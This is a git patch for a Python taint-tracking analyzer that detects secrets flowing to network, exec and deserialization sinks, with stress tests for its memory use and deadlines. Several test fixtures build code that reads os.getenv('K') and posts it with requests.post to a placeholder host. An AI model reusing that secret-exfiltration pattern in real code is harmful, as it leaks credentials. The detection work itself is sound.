+ tracemalloc.stop() + + short = analysis_peak(module(8)) + long = analysis_peak(module(4000)) + # One copy per distinct local would already cost ~4000 bytes x 1000 (4 MB). + assert long - short < 2**20 + + def test_message_bytes_do_not_grow_with_identifier_length(self) -> None: + """Messages name what the sink spells, never a long spelling from elsewhere. + + An attribute read named after its first load site copied a 150,000-char + receiver into each of 10,000 findings (1.4 GB of messages for an 850 KB + file). Messages are built from the sink's own nodes, and identifiers + longer than ``_MAX_NAME_CHARS`` are shortened. + """ + receiver = "R" * 20_000 + sinks = 2_000 + far_spelling = ( + "import os, requests\n" + f"{receiver} = C()\n{receiver}.a = os.getenv('K')\nz = {receiver}.a\n" + "class C:\n def __init__(self):\n self.a = os.getenv('K')\n" + " def m(self):\n" + " requests.post('u', data=self.a)\n" * sinks + ) + variable = "v" * 5_000 + nested = "requests.post('u', data=" * 30 + variable + ")" * 30 + long_at_the_sink = ( + f"import os, requests\n{variable} = os.getenv('K')\n" + (nested + "\n") * 30 + ) + for code, count in ((far_spelling, sinks), (long_at_the_sink, 30 * 30)): + findings = _run(code) + tainted = [f for f in findings if f.message.startswith("Tainted flow")] + assert len(tainted) == count + assert sum(len(f.message) for f in findings) <= 200 * len(findings) + + def test_identifiers_up_to_the_cap_are_reported_in_full(self) -> None: + cap = behavioral_taint_tracking._MAX_NAME_CHARS + for length, spelled in ((cap, "t" * cap), (cap + 1, "t" * (cap - 3) + "...")): + name = "t" * length + code = ( + f"import os, requests\n{name} = os.getenv('K')\nrequests.post('u', data={name})\n" + ) + (finding,) = _run(code) + assert finding.message.startswith(f"Tainted flow: '{spelled}' from os.getenv (line 2,") + + def test_one_fact_per_key_whatever_the_number_of_sources(self) -> None: + """Per-source fact sets multiplied memory; a key keeps one source.""" + + def facts(code: str) -> int: + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index( + parsed.tree, parsed.import_aliases, {} + ) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.run() + return sum(len(lane) for slot in graph.facts for lane in slot) + + many = _every_source_in_many_locals(5) + one = many.replace(_ALL_SOURCES, "os.getenv('a')") + # One fact per key and sink lane, however many sources reach the key. + assert facts(many) == facts(one) + + def test_each_flow_fires_at_most_once_per_rank(self, monkeypatch) -> None: + """Nested functions forwarding a parameter do not re-fire a wide assignment.""" + calls = {"n": 0} + original = behavioral_taint_tracking._mark_targets + + def counting_mark_targets(*args, **kwargs): + calls["n"] += 1 + return original(*args, **kwargs) + + code = _wide_assignment_in_nested_functions(2000) + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.build() + flows = len(graph.flows) + len(graph.seeds) + monkeypatch.setattr(behavioral_taint_tracking, "_mark_targets", counting_mark_targets) + _run(code) + # Each flow fires at most once per (lane, source rank, bound or not): + # twelve times, however many sources the forwarded value carries and + # however deep it goes. + assert calls["n"] <= 12 * flows + + def test_redefinitions_merge_into_one_class_and_one_callee(self) -> None: + parsed = get_python_ast(None, _typed_redefinitions(500), "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + (cls,) = index.classes + (group,) = cls.methods["m"].values() + assert len(group.functions) == 500 + + @staticmethod + def _raised_in(code: str, cap: int, stage) -> list[str]: + """Run *stage* with a deadline that expires after *cap* checks; return the stack.""" + parsed = get_python_ast(None, code, "t.py") + with pytest.raises(_RuntimeBudgetError) as raised: + stage(parsed, _capped_check_runtime(cap)) + return [frame.name for frame in __import__("traceback").extract_tb(raised.tb)] + + def test_deadline_is_checked_while_indexing(self) -> None: + def index(parsed, check): + behavioral_taint_tracking._build_scope_index( + parsed.tree, parsed.import_aliases, {}, check + ) + + stack = self._raised_in("x + 1\n" * 20000, 5000, index) + assert "_build_scope_index" in stack + # Name resolution alone also checks the deadline. + names = "z = [" + ",".join(f"n{i}" for i in range(20000)) + "]\n" + stack = self._raised_in(names, 25000, index) + assert "_resolve_names" in stack + + def test_deadline_is_checked_per_statement(self) -> None: + """Calls that bind nothing still pass a deadline check each.""" + parsed = get_python_ast(None, "class C:\n pass\n" + "C()\n" * 20000, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph( + index, {}, parsed.import_aliases, _capped_check_runtime(5000) + ) + with pytest.raises(_RuntimeBudgetError): + graph.build() + + def test_deadline_is_checked_while_linking_callees(self) -> None: + """Binding call-site slots into each callee's parameters checks the deadline.""" + functions = "".join(f"def f{i}(a, b, *c, d=1, **e):\n return a\n" for i in range(3000)) + calls = "".join(f"f{i}(1, 2, 3, d=4, e=5)\n" for i in range(3000)) + parsed = get_python_ast(None, functions + calls, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + for node, scope in index.statements: + if isinstance(node, behavioral_taint_tracking.ast.Call): + graph.call(node, scope) + graph.tick = _capped_check_runtime(1000) + with pytest.raises(_RuntimeBudgetError): + graph.link_callees() + + def test_deadline_is_checked_while_propagating(self) -> None: + depth = 20000 + code = ( + "import os\n" + + "".join(f"a{i} = a{i - 1}\n" for i in range(depth, 0, -1)) + + 'a0 = os.getenv("K")\n' + ) + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.build() + graph.tick = _capped_check_runtime(depth // 2) + with pytest.raises(_RuntimeBudgetError): + graph.propagate() From 4497604ddc6641680ccce1e79057615e39f92e14 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Thu, 8 Oct 2026 15:47:50 -0700 Subject: [PATCH 4/7] fix(taint): bound lambda callees and keep unpacking out of receivers Address the third review round of the scoped taint analyzer. Denial of service: - A lambda is one callee shared by every name it is bound to; a name with another definition merges with it. Keyword names are computed once per callee, so a = b = ... = lambda p0, ..., pK costs O(names + params), not O(names x params). - A default expression is scanned once, for its own function; a lambda nested in it is not walked again (was O(size x depth)). Binding: - *args and overflow arguments fill a wildcard slot keyed by the parameter they start at, and **mapping one keyed by the receiver offset, so a bound call never fills an implicit self/cls. - A keyword that names a parameter binds only that parameter, never also **kwargs. A forwarded **kwargs binds as the keyword names its callers pass in, unless a caller passes a **mapping or it is reassigned. - Class(...) also binds __new__ (cls implicit); Class().m(...) and cls().m(...) bind and read returns through the constructed class. Scopes and attributes: - A class-body read of a name the class binds also reads the module global (LOAD_NAME), restoring main's class-body findings. - Class-body names are kept apart from self.x stores, and the nearest class whose body binds a name shadows its bases. - The base lookup follows a bounded, iterative C3 linearization. Messages: - Keys keep a third, unranked fact: the first source to arrive in main's order. A sink cites it whenever it gives the same rule as the most severe source, so messages change only where the rule does. Also drop the unused _ScopeIndex.type_map, add tests for each review finding, deadline checks per stage, every sink spelling's length cap, and scaling shapes that grow the expensive dimension. The scaling metric now also counts jumps and branches, so loops inside one-line comprehensions are measured. Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- .../analyzers/behavioral_taint_tracking.py | 634 ++++++--- .../test_behavioral_taint_tracking.py | 1196 ++++++++++++++++- 2 files changed, 1647 insertions(+), 183 deletions(-) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index c85940c9d..5038989f2 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -414,10 +414,11 @@ def _find_nested_sources( # * ``f(...)`` where ``f`` resolves lexically to functions (or a lambda # assigned to the name) defined in this file; every definition bound to the # name is one callee, so redefinitions cost nothing per call; -# * ``self.m(...)`` / ``cls.m(...)`` in a method, ``Class.m(...)`` and -# ``super().m(...)``, through the class's own methods or those of its -# nearest in-file base (a bounded, precomputed lookup); -# * ``Class(...)`` / ``cls(...)``, which bind to ``__init__``. +# * ``self.m(...)`` / ``cls.m(...)`` in a method, ``Class.m(...)``, +# ``super().m(...)`` and ``Class().m(...)`` / ``cls().m(...)``, through the +# class's own methods or those of its nearest in-file base (a bounded, +# precomputed lookup in C3 order); +# * ``Class(...)`` / ``cls(...)``, which bind to ``__init__`` and ``__new__``. # # Receivers of any other shape (``obj.m(...)``) are not resolved and bind # nothing, exactly as before. ``self.x`` / ``cls.x`` attributes are per class: @@ -432,12 +433,14 @@ def _find_nested_sources( _FunctionNode = ast.FunctionDef | ast.AsyncFunctionDef _COMPREHENSIONS = (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) -# Call-site positional arguments at or beyond this parameter index (and any -# after a ``*args`` unpacking) share one wildcard slot, so binding work per +# Call-site positional arguments at or beyond this parameter index share one +# wildcard slot, and an ``*args`` unpacking fills a wildcard slot keyed by the +# parameter index it starts at (at most this one), so binding work per # definition is bounded by a constant. _MAX_POSITIONAL_SLOTS = 16 -# The in-file base lookup visits at most this many classes, scanning at most -# this many bases of each, so it is a constant per class. +# The in-file base lookup visits at most this many classes (the class itself +# included), merging at most this many bases of each, so it is a constant per +# class. _MAX_ANCESTORS = 8 _MAX_BASES = 8 @@ -447,24 +450,36 @@ def _find_nested_sources( _RETURN = 2 # into a function's return summary: never carries bound facts _BIND = 3 # from a call-site argument into a callee's parameter slot -# One source per key, the most severe one. Which source is most severe -# depends on the sink, so a key keeps it for two sink lanes; when the lanes -# agree (almost always) they share one fact, which propagates once: +# A key keeps one fact per lane; when the lanes agree (almost always) they +# share one fact, which propagates once: # -# * lane 0, network output: credential (TT3) > file read (TT4) > external -# input (TT2), so a helper's network or file source never hides a credential; -# * lane 1, code execution and deserialization: external input (TT5/TT6) > -# file read (TT6) > credential (TT2), so a helper's credential never hides -# user or network input reaching ``exec`` or ``pickle.loads``. +# * lane 0, the most severe source for network output: credential (TT3) > +# file read (TT4) > external input (TT2), so a helper's network or file +# source never hides a credential; +# * lane 1, the most severe source for code execution and deserialization: +# external input (TT5/TT6) > file read (TT6) > credential (TT2), so a +# helper's credential never hides user or network input reaching ``exec`` +# or ``pickle.loads``; +# * lane 2, the first source to arrive, unranked, in the order earlier +# releases propagated (the source a ``main`` message cites). # -# A sink reads its own lane; file writes (TT2 for every source) read lane 0. +# Lanes 0 and 1 decide the rule at a sink (file writes, TT2 for every +# source, read lane 0). The message cites the lane 2 fact whenever it gives +# that same rule, so a more severe source replaces the cited one only when it +# changes the rule (see ``_TaintGraph.cited``). _SOURCE_NAMES: tuple[str, ...] = tuple(sorted(_ALL_SOURCES)) _SOURCE_INDEX: dict[str, int] = {name: index for index, name in enumerate(_SOURCE_NAMES)} -_LANE_RANKS: tuple[tuple[int, int], ...] = tuple( - (2, 0) if name in _CREDENTIAL_SOURCES else (0, 2) if name in _EXTERNAL_INPUT_SOURCES else (1, 1) +_LANE_RANKS: tuple[tuple[int, int, int], ...] = tuple( + (2, 0, 0) + if name in _CREDENTIAL_SOURCES + else (0, 2, 0) + if name in _EXTERNAL_INPUT_SOURCES + else (1, 1, 0) for name in _SOURCE_NAMES ) -_BOTH_LANES = 3 +_LANES = (0, 1, 2) +_FIRST_LANE = 2 +_ALL_LANES = 7 # A fact is (source index, line). _Fact = tuple[int, int] @@ -530,16 +545,16 @@ def define(self, name: str, definition: _Function | _ClassDef) -> None: class _Function: - """A ``def``/``async def`` or lambda, with the callee groups it belongs to.""" + """A ``def``/``async def`` or lambda, with the callee group it belongs to.""" - __slots__ = ("node", "scope", "kind", "key", "groups") + __slots__ = ("node", "scope", "kind", "key", "group") def __init__(self, node: _FunctionNode | ast.Lambda, scope: _Scope) -> None: self.node = node self.scope = scope self.kind = "function" # function | instance | class | static self.key = -1 # key of the name the definition binds - self.groups: list[_Group] = [] + self.group: _Group | None = None class _ClassDef: @@ -568,25 +583,79 @@ def __init__(self, class_id: int) -> None: class _Group: """One callee: every function bound to a name, or every same-kind method of a class with one name. Call sites bind into its argument slots, which - flow into each definition's parameters once.""" + flow into each definition's parameters once. + + Each function belongs to exactly one group. A lambda bound to several + names (``a = b = lambda ...``) is one group that every such name shares, + so its parameters are linked once however many names it has. + """ - __slots__ = ("id", "kind", "functions", "keyword_params", "has_kwarg", "slots") + __slots__ = ( + "id", + "kind", + "functions", + "merged", + "slots", + "named", + "kwarg_named", + "kw_names", + "kw_open", + ) def __init__(self, group_id: int, kind: str) -> None: self.id = group_id self.kind = kind self.functions: list[_Function] = [] - self.keyword_params: set[str] = set() - self.has_kwarg = False + # The group this one was merged into, if any (union-find parent). + self.merged: _Group | None = None self.slots: dict[object, int] = {} + # Computed once, on the first call bound into the group (see + # ``signature``): names a keyword argument can bind to, and the names + # every ``**kwargs`` definition of the group binds by name instead. + self.named: set[str] | None = None + self.kwarg_named: set[str] | None = None + # Keyword names call sites pass into the group's ``**kwargs``, so a + # forwarded ``**kwargs`` binds only those (see ``forwarded_names``); + # ``kw_open`` once a call passes ``**mapping`` or too many names. + self.kw_names: set[str] = set() + self.kw_open = False def add(self, function: _Function) -> None: self.functions.append(function) - function.groups.append(self) - args = function.node.args - self.keyword_params.update(arg.arg for arg in args.args) - self.keyword_params.update(arg.arg for arg in args.kwonlyargs) - self.has_kwarg = self.has_kwarg or args.kwarg is not None + function.group = self + + def root(self) -> _Group: + group = self + while group.merged is not None: + group = group.merged + node = self + while node.merged is not None and node.merged is not group: + following = node.merged + node.merged = group # path compression + node = following + return group + + def signature(self) -> tuple[set[str], set[str] | None]: + """(names a keyword can bind, names every ``**kwargs`` definition takes + by name or ``None`` when no definition has ``**kwargs``). + + A keyword naming a parameter binds only that parameter; it reaches a + ``**kwargs`` only when some definition with ``**kwargs`` lacks it + (positional-only names do reach ``**kwargs``). + """ + if self.named is None: + named: set[str] = set() + kwarg_named: set[str] | None = None + for function in self.functions: + args = function.node.args + names = {arg.arg for arg in args.args} + names.update(arg.arg for arg in args.kwonlyargs) + named |= names + if args.kwarg is not None: + kwarg_named = names if kwarg_named is None else kwarg_named & names + self.named = named + self.kwarg_named = kwarg_named + return self.named, self.kwarg_named class _CallTargets(NamedTuple): @@ -642,12 +711,62 @@ def _receiver_offset(kind: str, class_object: bool) -> int: return 0 +def _c3(cls: _Class, bases: list[_Class]) -> list[_Class]: + """C3 linearization of *cls* from its bases' linearizations, cut at ``_MAX_ANCESTORS``. + + Bases are already linearized (and cut). A base still being linearized + (a cycle) stands for itself. An inconsistent hierarchy, which Python + rejects, continues with the leftmost remaining head. + """ + result = [cls] + if not bases: + return result + sequences = [ + [c for c in (base.ancestors if base.ancestors is not None else [base]) if c is not cls] + for base in bases + ] + if len(sequences) == 1: # single inheritance: the base's order + result.extend(sequences[0][: _MAX_ANCESTORS - 1]) + return result + sequences.append([base for base in bases if base is not cls]) + # How many sequences hold each class after their head. + tails: dict[int, int] = {} + for sequence in sequences: + for c in sequence[1:]: + tails[c.id] = tails.get(c.id, 0) + 1 + positions = [0] * len(sequences) + placed = {cls.id} + while len(result) < _MAX_ANCESTORS: + candidate: _Class | None = None + leftmost: _Class | None = None + for sequence, position in zip(sequences, positions, strict=True): + if position < len(sequence): + head = sequence[position] + if leftmost is None: + leftmost = head + if not tails.get(head.id): + candidate = head + break + candidate = candidate or leftmost + if candidate is None: + break + if candidate.id not in placed: + placed.add(candidate.id) + result.append(candidate) + for i, sequence in enumerate(sequences): + position = positions[i] + if position < len(sequence) and sequence[position] is candidate: + position += 1 + positions[i] = position + if position < len(sequence): + tails[sequence[position].id] -= 1 + return result + + class _ScopeIndex: """Lexical scopes of one module plus the in-file callees calls can bind to.""" - def __init__(self, aliases: dict[str, str], type_map: dict[str, str]) -> None: - self.aliases = aliases - self.type_map = type_map + def __init__(self) -> None: self.scopes: list[_Scope] = [] # Statements and expressions that create flows, with their scope, in # ``ast.walk`` (breadth-first) order: Assign, Return and Call. @@ -668,6 +787,14 @@ def __init__(self, aliases: dict[str, str], type_map: dict[str, str]) -> None: # an ordinary fact. self.local = bytearray() self.name_key: dict[ast.Name, int] = {} + # (class key, module key) for each name a class body reads and also + # binds: such a read sees the class's value or, before the class + # binds it, the module global (Python's LOAD_NAME). + self.class_reads: dict[tuple[int, int], None] = {} + # Keys some statement assigns, and each ``**kwargs`` parameter's + # key -> its function. + self.stored: set[int] = set() + self.kwarg_params: dict[int, _Function] = {} self.class_of_key: dict[int, _Class] = {} self.function_groups: dict[int, _Group] = {} self.groups: list[_Group] = [] @@ -751,21 +878,72 @@ def method_group(self, cls: _Class, name: str, kind: str) -> _Group: kinds[kind] = group return group + def lambda_group(self, node: ast.Lambda, function: _Function) -> _Group: + """The one callee of a lambda, shared by every name it is bound to.""" + group = self._lambda_groups.get(node) + if group is None: + group = self._new_group("function") + group.add(function) + self._lambda_groups[node] = group + return group.root() + + def bind_name(self, key: int, group: _Group) -> None: + """Make *group* (a lambda's) a callee of the name *key*. + + The first binding shares the group; a name with another definition + merges the two groups (redefinitions are one callee), so a lambda + bound to many names is never copied per name. + """ + current = self.function_groups.get(key) + if current is None: + self.function_groups[key] = group + return + current, group = current.root(), group.root() + if current is group: + return + if len(current.functions) < len(group.functions): + current, group = group, current + group.merged = current + for function in group.functions: + function.group = current + current.functions.extend(group.functions) + group.functions = [] + + def finish_groups(self) -> None: + for key, group in self.function_groups.items(): + if group.merged is not None: + self.function_groups[key] = group.root() + def ancestors(self, cls: _Class, tick: Callable[[], None]) -> list[_Class]: - """*cls* then its in-file bases, depth-first left to right, bounded.""" - if cls.ancestors is None: + """*cls* then its in-file bases in C3 (method resolution) order, bounded. + + Each class merges the (bounded) linearizations of at most + ``_MAX_BASES`` bases and keeps the first ``_MAX_ANCESTORS`` classes, + so the work per class is a constant. Classes are linearized bases + first, iteratively, so a long inheritance chain cannot exhaust the + stack; a cycle (possible when redefinitions merge) is cut. + """ + if cls.ancestors is not None: + return cls.ancestors + visiting: set[int] = set() + stack = [cls] + while stack: tick() - order: list[_Class] = [] - seen: set[int] = set() - stack = [cls] - while stack and len(order) < _MAX_ANCESTORS: - current = stack.pop() - if current.id in seen: + current = stack[-1] + if current.ancestors is not None: + stack.pop() + continue + bases = current.bases[:_MAX_BASES] + if current.id not in visiting: + visiting.add(current.id) + pending = [ + base for base in bases if base.ancestors is None and base.id not in visiting + ] + if pending: + stack.extend(reversed(pending)) continue - seen.add(current.id) - order.append(current) - stack.extend(reversed(current.bases[:_MAX_BASES])) - cls.ancestors = order + stack.pop() + current.ancestors = _c3(current, bases) return cls.ancestors def lookup( @@ -812,6 +990,13 @@ def super_class(self, call: ast.Call) -> _Class | None: return None return parent.class_def.cls + def constructed_class(self, key: int) -> _Class | None: + """The class ``Name(...)`` constructs: an in-file class name, or ``cls``.""" + receiver = self.receivers.get(key) + if receiver is not None: + return receiver[0] if receiver[1] else None # cls(...) in a classmethod + return self.class_of_key.get(key) + def call_targets(self, call: ast.Call, tick: Callable[[], None]) -> _CallTargets: """The in-file callees a call reaches, resolved from syntax alone.""" cached = self._calls.get(call) @@ -826,22 +1011,17 @@ def call_targets(self, call: ast.Call, tick: Callable[[], None]) -> _CallTargets if group is not None: members.append((group, 0)) results.append(group) - constructed = self.class_of_key.get(key) - receiver = self.receivers.get(key) - if receiver is not None and receiver[1]: - constructed = receiver[0] # cls(...) in a classmethod + constructed = self.constructed_class(key) if constructed is not None: for group in self.lookup(constructed, "__init__", 0, tick): members.append((group, 0 if group.kind == "static" else 1)) + # ``C(x)`` also calls ``C.__new__(C, x)``: ``cls`` is implicit. + for group in self.lookup(constructed, "__new__", 0, tick): + members.append((group, 1)) elif isinstance(func, ast.Lambda): function = self.lambdas.get(func) if function is not None: - group = self._lambda_groups.get(func) - if group is None: - group = self._new_group("function") - group.add(function) - self._lambda_groups[func] = group - members.append((group, 0)) + members.append((self.lambda_group(func, function), 0)) elif isinstance(func, ast.Attribute): value = func.value cls: _Class | None = None @@ -857,7 +1037,11 @@ def call_targets(self, call: ast.Call, tick: Callable[[], None]) -> _CallTargets class_object = True elif isinstance(value, ast.Call): cls = self.super_class(value) - skip = 1 + if cls is not None: + skip = 1 + elif isinstance(value.func, ast.Name): + # ``C().m(...)`` / ``cls().m(...)``: an instance of an in-file class. + cls = self.constructed_class(self.name_key.get(value.func, -1)) if cls is not None: for group in self.lookup(cls, func.attr, skip, tick): members.append((group, _receiver_offset(group.kind, class_object))) @@ -881,6 +1065,14 @@ def attribute_store(self, node: ast.Attribute) -> int | None: return None return self.synthetic(("store", cls.id, node.attr), False) + def class_body_store(self, cls: _Class, name: str) -> int: + """Key of a name a class body assigns, read as ``self.name`` / ``cls.name``. + + Kept apart from ``self.x`` stores: a subclass that rebinds the name in + its own body shadows a base's class-body value. + """ + return self.synthetic(("class", cls.id, name), False) + def attribute_view(self, node: ast.Attribute) -> int | None: """Key read by ``self.x`` / ``cls.x``: stores in the class and its bases.""" key = self.views.get(node) @@ -916,8 +1108,6 @@ def qualname(self, scope: _Scope) -> str: def _build_scope_index( tree: ast.AST, - aliases: dict[str, str], - type_map: dict[str, str], check_runtime: Callable[[], None] | None = None, ) -> _ScopeIndex: """Assign every name to its lexical scope and index in-file callees. @@ -929,7 +1119,7 @@ def _build_scope_index( indexing pass over class and function definitions. """ tick = check_runtime or _noop - index = _ScopeIndex(aliases, type_map) + index = _ScopeIndex() module = index.new_scope(_MODULE, None, "") # Nodes evaluated in a different scope than their parent (bodies of # functions, classes and lambdas; comprehension elements). @@ -1053,6 +1243,9 @@ def _resolve_names(index: _ScopeIndex, tick: Callable[[], None]) -> None: there unless declared ``global``/``nonlocal``, and otherwise resolves to the nearest enclosing binder, then the module. Class bodies see their own names but are invisible to the functions and comprehensions inside them. + A class-body read of a name the class binds sees the class's value or, + before the class binds it, the module global (CPython's LOAD_NAME; an + enclosing function's local is not consulted), so it reads both. """ module = index.module stacks: dict[str, list[_Scope]] = {} @@ -1094,7 +1287,13 @@ def binding_scope(scope: _Scope, name: str) -> _Scope: names.append(name) for node in scope.names or (): tick() - index.name_key[node] = index.key(binding_scope(scope, node.id), node.id) + binder = binding_scope(scope, node.id) + key = index.key(binder, node.id) + index.name_key[node] = key + if not isinstance(node.ctx, ast.Load): + index.stored.add(key) + elif binder is scope and scope.kind == _CLASS: + index.class_reads[(key, index.key(module, node.id))] = None for name, definition in scope.definitions or (): tick() definition.key = index.key(binding_scope(scope, name), name) @@ -1130,6 +1329,8 @@ def _index_definitions(index: _ScopeIndex, tick: Callable[[], None]) -> None: for function in index.functions: tick() node = function.node + if node.args.kwarg is not None: + index.kwarg_params[index.key(function.scope, node.args.kwarg.arg)] = function if isinstance(node, ast.Lambda): continue parent = function.scope.parent @@ -1150,7 +1351,8 @@ def _index_definitions(index: _ScopeIndex, tick: Callable[[], None]) -> None: function = index.lambdas.get(lambda_node) key = index.name_key.get(target) if function is not None and key is not None: - index.function_group(key).add(function) + index.bind_name(key, index.lambda_group(lambda_node, function)) + index.finish_groups() def _mark_targets( @@ -1160,17 +1362,18 @@ def _mark_targets( line: int, fact: _Fact, bound: int, - lanes: int = _BOTH_LANES, + lanes: int = _ALL_LANES, ) -> list[tuple[int, int, int]]: """Give each target *fact*, in each of *lanes*, where it outranks what it holds. Monotone: a target's fact in a lane is only ever replaced by a strictly - more severe source for that lane, so each key changes at most twice per - lane and slot, and the worklist terminates. A key has two slots: ordinary - facts, and facts bound from a call site into a function's parameters - (``bound``). A bound fact stays bound in function locals; module, class - and attribute state turns it into an ordinary fact. Returns the - (key, slot, changed lanes) triples to propagate from. + more severe source for that lane (never in lane 2, where every source + ranks the same and the first to arrive stays), so each key changes at + most three times per lane and slot, and the worklist terminates. A key + has two slots: ordinary facts, and facts bound from a call site into a + function's parameters (``bound``). A bound fact stays bound in function + locals; module, class and attribute state turns it into an ordinary + fact. Returns the (key, slot, changed lanes) triples to propagate from. """ source, fact_line = fact if kind != _PASS: @@ -1190,7 +1393,7 @@ def _mark_targets( slot = 1 if bound and local[target] else 0 held = facts[slot] mask = 0 - for lane in (0, 1): + for lane in _LANES: if not lanes >> lane & 1: continue rank = ranks[lane] @@ -1212,17 +1415,28 @@ class _TaintGraph: """Scope-aware taint, independent of AST visit order. Taint is reachability in a flow graph over keys, computed with a monotone - worklist that fires each flow at most once per (lane, source rank, slot), - so at most 12 times whatever the number of sources: - - * phase A replays exactly the assignment flows earlier releases used - (``x = `` reads every name in ````), in the same order, so a - flow both versions report cites the same variable, source and line; - * phase B adds what scoping makes precise: arguments of direct in-file + worklist that fires each flow at most once per (lane, source rank, slot): + at most 14 times whatever the number of sources (three ranks in lanes 0 + and 1, one in lane 2, two slots each). + + * Phase A replays exactly the assignment flows earlier releases used + (``x = `` reads every name in ````), in the same order, plus + a class body's read of the module global under a name the class also + binds (earlier releases had one name for both). In lane 2, which keeps + the first source to arrive, a key that earlier releases tainted the + same way holds the source and line they cite. Their fact differs only + where it came from a same-named variable in another scope, a name clash + this scoping removes. + * Phase B adds what scoping makes precise: arguments of direct in-file calls bind into parameters (as bound facts), parameter defaults, return summaries read by callers, and ``self.x`` / ``cls.x`` attributes. Phase B never replaces a fact by one of equal rank, so it only fills - keys phase A left clean or upgrades them to a more severe source. + keys phase A left clean or upgrades lane 0 or 1 to a more severe + source; lane 2 is never replaced. + + At a sink, the sink's ranked lane decides the rule, and the message cites + the lane 2 fact whenever that gives the same rule (``cited``). A more + severe source therefore changes a message only where it changes the rule. A callee's return summary carries only facts that do not depend on its parameters: bound facts never enter it. What a call returns from its @@ -1243,9 +1457,9 @@ def __init__( self.aliases = aliases self.tick = check_runtime or _noop # facts[slot][lane]: key -> fact; slot 1 holds facts bound from a call site. - self.facts: tuple[tuple[dict[int, _Fact], dict[int, _Fact]], ...] = ( - ({}, {}), - ({}, {}), + self.facts: tuple[tuple[dict[int, _Fact], ...], ...] = ( + ({}, {}, {}), + ({}, {}, {}), ) # Each flow's (targets, kind, line), keyed by its index (a stable id). # ``prop_a`` / ``prop_b`` map a key read by a phase A / B flow to its ids. @@ -1307,24 +1521,28 @@ def value_key(self, call: ast.Call, root: _Scope) -> int | None: return key def scan( - self, node: ast.AST, root: _Scope, nested_values: bool + self, node: ast.AST, root: _Scope, nested_values: bool, opaque_lambdas: bool = False ) -> tuple[list[int], list[int], list[tuple[str, int]]]: """Walk an expression once: (names read, other keys read, sources). Names are the reads earlier releases used. Other keys are the return summaries of in-file calls and ``self.x`` attributes. With *nested_values*, an in-file call is read through its value key and not - walked. Sources are the most severe source call per lane (first in walk - order among equals), with the lanes each one is for, or an - ``os.environ[...]`` subscript as the whole expression. + walked. With *opaque_lambdas* a lambda is not walked: a default holds + the function object, and each lambda's own defaults are scanned once, + for that lambda. Sources, each with the lanes it is for: in lanes 0 + and 1 the most severe source call (the first in walk order among + equals), in lane 2 the first source call in walk order (the one + earlier releases took); or an ``os.environ[...]`` subscript as the + whole expression. """ index = self.index name_key = index.name_key tick = self.tick names: dict[int, None] = {} others: dict[int, None] = {} - best: list[str | None] = [None, None] - best_rank = [-1, -1] + best: list[str | None] = [None, None, None] + best_rank = [-1, -1, -1] queue: deque[ast.AST] = deque([node]) while queue: tick() @@ -1343,7 +1561,7 @@ def scan( source = _call_source(child, self.type_map, self.aliases) if source is not None: ranks = _LANE_RANKS[_SOURCE_INDEX[source]] - for lane in (0, 1): + for lane in _LANES: if ranks[lane] > best_rank[lane]: best[lane], best_rank[lane] = source, ranks[lane] for group in index.call_targets(child, tick).results: @@ -1352,17 +1570,18 @@ def scan( view = index.attribute_view(child) if view is not None: others[view] = None + elif opaque_lambdas and isinstance(child, ast.Lambda): + continue for grandchild in ast.iter_child_nodes(child): if not isinstance(grandchild, ast.expr_context): queue.append(grandchild) if best[0] is None: - best[0] = best[1] = _credential_subscript(node, self.aliases) - sources: list[tuple[str, int]] = [] - if best[0] is not None and best[0] == best[1]: - sources.append((best[0], _BOTH_LANES)) - else: - sources.extend((source, 1 << lane) for lane, source in enumerate(best) if source) - return list(names), list(others), sources + best = [_credential_subscript(node, self.aliases)] * len(_LANES) + lanes_of: dict[str, int] = {} + for lane, source in enumerate(best): + if source is not None: + lanes_of[source] = lanes_of.get(source, 0) | 1 << lane + return list(names), list(others), list(lanes_of.items()) def assign(self, node: ast.Assign, scope: _Scope) -> None: index = self.index @@ -1405,14 +1624,14 @@ def class_attribute(self, scope: _Scope, name: str, key: int) -> None: if link in self._class_links: return self._class_links.add(link) - store = self.index.synthetic(("store", class_def.cls.id, name), False) + store = self.index.class_body_store(class_def.cls, name) self.add_flow((key,), (store,), _PASS, 0, False) def returned(self, value: ast.expr, scope: _Scope, line: int) -> None: function = scope.function - if function is None or not function.groups: + if function is None or function.group is None: return - targets = [self.ret_key(group) for group in function.groups] + targets = (self.ret_key(function.group),) names, others, sources = self.scan(value, scope, False) self.seed(targets, _RETURN, line, sources) self.add_flow([*names, *others], targets, _RETURN, line, False) @@ -1444,33 +1663,89 @@ def bind_arguments( scans: list[tuple[list[int], list[int], list[tuple[str, int]]]], line: int, ) -> None: + """Bind a call's arguments into each callee's slots. + + Positional arguments bind by parameter index (the receiver *offset* + added); from the first ``*args`` on they share a wildcard slot keyed + by the parameter index it starts at, and arguments at index + ``_MAX_POSITIONAL_SLOTS`` or beyond share the last one. ``**mapping`` + binds a wildcard keyed by the offset, except a forwarded ``**kwargs`` + whose keyword names are known, which binds as those keywords. So an + implicit ``self`` / ``cls`` is never filled by an unpacking. + """ slots: list[list[int]] = [] - unpacked = False + starred_at = -1 for position, arg in enumerate(node.args): - if isinstance(arg, ast.Starred): - unpacked = True + if starred_at < 0 and isinstance(arg, ast.Starred): + starred_at = position keys: 